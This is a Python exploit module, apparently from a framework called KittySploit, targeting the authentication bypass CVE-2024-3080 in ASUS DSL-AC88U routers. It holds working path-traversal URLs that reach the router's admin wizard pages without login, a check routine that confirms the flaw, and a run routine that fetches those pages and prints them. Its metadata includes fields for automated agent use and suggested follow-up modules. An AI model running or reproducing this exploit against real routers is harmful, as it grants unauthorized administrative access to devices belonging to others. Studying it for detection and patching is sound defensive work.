ASUS DSL-AC88U Auth Bypass (CVE-2024-3080)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ASUS DSL-AC88U path traversal auth bypass (CVE-2024-3080)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'ASUS DSL-AC88U Auth Bypass (CVE-2024-3080)',
        'description': (
            'Exploits CVE-2024-3080 in ASUS DSL-AC88U: /js/..%2f%2f or /images/..%2f%2e '
            'traversal bypasses authentication and exposes admin wizard pages.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-3080'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-3080'],
        'tags': ['asus', 'router', 'auth-bypass', 'lfi', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['privilege_escalation'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_3080_detect']},
        },
    }

    bypass_paths = OptString(
        '/js/..%2f%2f/wizard.htm,/images/..%2f%2e/wizard.htm',
        'Comma-separated bypass URLs',
        required=False,
        advanced=True,
    )

    def check(self):
        for path in self._paths():
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200 and 'show_wizardmenu();' in (r.text or ''):
                return {'vulnerable': True, 'reason': f'ASUS bypass via {path}', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ASUS traversal bypass failed', 'confidence': 'medium'}

    def _paths(self) -> list[str]:
        raw = str(self.bypass_paths or '/js/..%2f%2f/wizard.htm,/images/..%2f%2e/wizard.htm')
        return [p.strip() for p in raw.split(',') if p.strip()]

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('ASUS DSL-AC88U not vulnerable')
            return False
        for path in self._paths():
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — {len(r.text or "")} bytes')
                print_status((r.text or '')[:1500])
        return True